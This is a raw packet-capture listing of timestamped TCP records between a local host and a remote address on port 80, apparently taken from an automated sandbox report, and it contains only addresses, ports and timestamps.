Jun 28, 2024 22:32:13.217636108 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217642069 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217825890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217837095 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217845917 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217856884 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217865944 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217883110 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217896938 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.217971087 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.217983007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.218008995 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.218034029 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.218044996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.218055010 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.218075991 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.218200922 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.242754936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.242770910 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.242780924 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.242800951 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.242814064 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.242825985 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.242827892 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.242851973 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.242871046 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.242923021 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.242938042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.242961884 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.242974043 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243002892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243021965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243032932 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243052959 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243076086 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243143082 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243205070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243213892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243236065 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243252993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243256092 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243266106 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243299007 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243314981 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243485928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243496895 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243510962 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243521929 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243526936 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243541002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243551970 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243551970 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243565083 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243570089 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243591070 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243603945 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243640900 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243653059 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243676901 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243694067 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243776083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243788958 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243799925 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243810892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243823051 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243828058 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243834019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243845940 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243849993 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243865013 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243880033 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.243928909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243977070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243984938 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.243993998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244000912 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.244012117 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.244039059 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.244117022 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244154930 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.244188070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244198084 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244205952 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244225025 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.244241953 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.244349003 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244358063 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244383097 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.244400024 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.244556904 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244565964 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244594097 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.244599104 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.244649887 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245312929 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245356083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245359898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245367050 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245384932 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245399952 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245424032 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245434046 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245465994 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245491982 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245515108 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245526075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245563030 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245599031 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245610952 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245620012 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245635986 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245646954 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245656967 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245680094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245688915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245699883 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245712042 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245733023 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245860100 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245871067 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245881081 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245889902 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245899916 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245903015 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245912075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245923996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.245928049 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245935917 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.245960951 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246109009 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246119022 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246159077 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246165991 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246171951 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246182919 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246206045 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246270895 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246280909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246284962 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246290922 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246299028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246309042 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246309042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246330023 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246350050 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246575117 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246583939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246593952 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246603966 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246614933 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246620893 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246624947 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246637106 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246639967 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246649981 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246656895 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246660948 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246665955 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246674061 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246685028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246689081 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246701956 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246715069 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.246949911 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246959925 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246969938 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246978045 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.246994972 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.247016907 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.307583094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307616949 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307629108 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307638884 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.307653904 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.307666063 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.307672024 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307683945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307694912 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307710886 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.307729959 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.307859898 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307871103 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307882071 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307890892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307902098 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307904959 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.307914019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.307930946 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.307951927 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308151007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308161974 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308176041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308185101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308195114 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308204889 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308214903 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308216095 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308228016 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308235884 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308238983 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308250904 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308252096 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308260918 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308273077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308278084 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308283091 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308286905 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308295965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308305979 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308329105 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308634043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308643103 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308672905 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308680058 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308697939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308710098 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308721066 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308729887 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308731079 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308741093 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308743000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308758974 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308773041 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.308948994 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308959961 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.308998108 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.309014082 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.333553076 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.333570004 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.333579063 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.333600044 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.333611965 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.333709955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.333720922 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.333730936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.333741903 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.333754063 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.333765030 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.333775997 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.333786964 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.333808899 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334003925 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334042072 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334069967 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334079981 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334104061 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334126949 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334150076 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334160089 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334168911 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334178925 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334187984 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334208965 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334306955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334321022 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334353924 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334369898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334420919 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334431887 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334438086 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334446907 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334461927 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334470987 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334471941 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.334486008 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.334511042 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336411953 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336421967 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336432934 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336456060 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336474895 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336524010 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336534023 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336544037 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336554050 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336568117 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336579084 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336599112 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336682081 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336694002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336704016 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336715937 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336725950 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336741924 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336807966 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336818933 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336828947 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336852074 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336863041 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336942911 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336951971 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336961985 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.336977959 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.336987972 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337002993 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337119102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337130070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337140083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337150097 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337161064 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337167025 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337169886 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337181091 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337188005 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337192059 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337207079 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337219000 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337390900 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337404013 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337414026 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337425947 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337435961 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337439060 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337447882 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337454081 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337461948 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337474108 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337476015 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337488890 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337512016 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337601900 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337611914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337621927 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337645054 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337663889 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337804079 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337814093 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337826967 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337841988 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337843895 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337852955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337863922 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337866068 CEST	49732	80	192.168.2.4	77.91.77.81
